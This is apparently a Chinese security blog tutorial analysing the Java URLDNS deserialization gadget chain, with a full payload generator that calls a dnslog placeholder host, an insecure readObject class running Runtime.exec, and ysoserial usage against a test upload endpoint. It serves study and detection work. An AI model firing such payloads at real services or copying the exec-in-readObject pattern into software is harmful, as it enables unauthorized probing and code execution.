Java反序列化1-URLDNS利用链分析

0x01 前言

之前一段时间一直在学习了java,也有刷过一段时间的java靶场。最近想着也应该开始学习java反序列化相关知识了,今天就从java反序列化中最简单的URLDNS链开始分析

  • URLDNS不需要依赖第三方的包,同时不限制jdk的版本

  • URLDNS链并不能执行命令,只能发送DNS请求

  • 该链条基本没什么危害,通常做为检测反序列化的入口点使用

0x02 Java序列化与反序列化

序列化

public static void serialize(  ) throws IOException {

    Student student = new Student();
    student.setName("CodeSheep");
    student.setAge( 18 );
    student.setScore( 1000 );

    ObjectOutputStream objectOutputStream = 
        new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );
    objectOutputStream.writeObject( student ); //将student序列化结果写入student.txt
    objectOutputStream.close();
    
    System.out.println("序列化成功!已经生成student.txt文件");
}

反序列化

public static void deserialize(  ) throws IOException, ClassNotFoundException {
    ObjectInputStream objectInputStream = 
        new ObjectInputStream( new FileInputStream( new File("student.txt") ) );
    Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。
    objectInputStream.close();
    
    System.out.println("反序列化结果为:");
    System.out.println( student );
}

上面就是java序列化与反序列化一个简单的例子。

java的序列化与反序列化所使用的函数时writeObject和readObject,java也允许开发者去自己定义writeObject和readObjec,可以看到上面的代码中调用了readObject和writeObject序列化与反序列化对象,但是如果student类中有自己定义的readObject和writeObject函数,则在序列化和反序列化时执行类自定义的readObject和writeObject。当开发者书写不当的话就会造成命令执行漏洞。可以看下面这个例子

public class Evil implements Serializable{
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

public class Main {
    public static void main(String[] args) throws Exception {

        Evil evil = new Evil();
        evil.cmd = "open /System/Applications/Calculator.app";

        byte[] serializeData = serialize(evil); 
        unserialize(serializeData); 
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();//反序列化时调用Evil类的readObject,此时就会弹出计算器
    }

}

很多语言中都存在序列化与反序列化操作,但是由于语言特性与机制的不同,Java就会存在很多反序列化漏洞,而PHP则相对较少。

跟PHP一样,java反序列化我们也需要找一个入口类也叫落脚点,这个类重写了readobject函数,我们通过这个函数进一步进行反序列化漏洞的利用。

0x03 URLDNS调用链

1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress

0x04 URLDNS链分析

入口类是HashMap,下面是readObject函数,可以看到对于对象输入流中的key即键计算了hash

private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false); //这里
            }
        }
    }

跟进hash,对key计算了hashcode

在这里插入图片描述

根据payload,我们给hashmap中存入的键是URL类对象,那么这里就是调用url类的hashcode函数,跟进看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gUbz7vcO-1656217556906)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223005051.png)]

当hashcode不为-1时,执行handler.hashCode并把自己即URL对象传入,这里的hashcode我们看一下,其默认值就是-1,而且也没有对应的setter方法设置该属性,说明该属性是写死的,所以我们不用担心到不了handler.hashCode。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d17rfUZ9-1656217556906)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223221867.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1PnseNQF-1656217556906)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223401421.png)]

继续跟进handler.hashCode,我们看到调用了getHostAddress方法,该方法会获得u的IP地址,即这里就会导致发送一个DNS请求。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RRM0uwuu-1656217556907)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223947044.png)]

所以整个调用链为

1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress

0x05 payload生成

上面已经分析整个利用链,但是呢发现一个问题就是在hashmap利用put存入数据的时候也会调用putVal函数,从而也进入上面的利用链

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eM4fzbsN-1656217556907)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625225019025.png)]

这就导致我们在生成payload的时候就会进行一次dns查询,为了能看清是反序列化造成的dns请求,这里需要规避一下生成payload时的dns请求。

我们只需要在调用链的其中一步将其阻止就行。这里可以看到先判断hashcode值是否为-1,如果不是就直接返回,从而不会执行到handler.hashcode。但是上面分析过hashcode是一个私有变量不能设置,所以这里可以通到反射将其强制转换为公有的,然后设置成其他值。这样链子就会在URL->hashcode处断掉,从而就不会调用gethostbyname了。

在这里插入图片描述

完整的payload如下:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://xxx.dnslog.cn/");
        Class clas = Class.forName("java.net.URL");
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //将url的hashcode属性改为123使其不等于-1
        map.put(url,"2333"); //这里的value用不上,随便设置
        field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化,此时触发dns请求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

0x06 漏洞复现

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fiU4G7R8-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625231454298.png)]

0x07 ysoserial使用

下载ysoserial源码,在idea中打开,pom.xml中下载依赖

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XIm8krci-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115240348.png)]

maven编译项目并打包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RWuKDbGb-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115312750.png)]

检查project-structrue的jdk版本(一般为1.8)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qQfcPBS8-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115332065.png)]

如果idea不识别java项目,右键java目录点击mark_directory_as再点击source_root即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JCJ4k9ai-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115437673.png)]

打开项目配置,这里设置你的运行参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ryp10XOH-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115215247.png)]

最后进入主类运行main函数即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fffKk3ya-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115523533.png)]

大概说一下执行流程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nV0UCvSs-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115849786.png)]

跟进Serializer.serialize,这里我们添加代码让他输出payload到payload.ser文件中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fkLVPErL-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115950969.png)]

这里我们也可以看一下urldns对应的payload生成类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zypJkhuz-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120223560.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4GTL5Uxu-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120617162.png)]

下面就是生成的payload

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mfntwwgA-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120656846.png)]

0x08 利用URLDNS检测反序列化点

这里我们写一个上传点,会对上传的东西进行反序列化操作。那么这就是一个反序列化点。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Iy9TW7Z-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626114240846.png)]

利用ysoserial生成urldns的payload

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4uNRjd9s-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626114415262.png)]

payload保存在目录下的payload.ser

利用postman上传payload.ser

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B8ygfAH3-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120751374.png)]

可以看到burp成功接收到dns请求

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7tEpEHcB-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120825905.png)]

0x09 ysoserial中的URLDNS payload分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qSAsbJnS-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626121328267.png)]

还记着调用链上那个URLStreamHandler吗

他这里创建了一个SilentURLStreamHandler并继承URLStreamHandler,然后重写了其getHostAddress方法,直接让其返回null

在new URL时用这个SilentURLStreamHandler代替原来的URLStreamHandler,这样在调用链的最后一步调用getHostAddress时就直接返回null,从而并不会发起dns请求。

既然都把这个getHostAddress重写了,那确实是在ht.put时候不会进行dns请求,但是这样一来反序列化的时候也不就直接返回null了吗?

其实不然,我们点进URL类看一下,发现这个属性是一个transient类型的,也就是在序列化的时候不会将其序列化进去,既然不会序列化进去,那么在反序列化的时候就会用默认的URLStreamHandler而不是SilentURLStreamHandler了,这个时候调用getHostAddress是URLStreamHandler的,所以在反序列化中就会发出dns请求而在ht.put时候就不会。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DNRE7irp-1656217556912)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626121933535.png)]

0x10工具开发

刚好也想学一下ui,就用javafx写了一个探测工具,有一点小bug,后面再改吧qwq。

https://github.com/xunyang1/UrlDns-Tool

在这里插入图片描述

0x11 参考链接

P牛知识星球-Java漫谈

https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54

https://xz.aliyun.com/t/9417#toc-2

https://paper.seebug.org/1242/#_1

https://www.jianshu.com/p/79baa1fc32c3

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值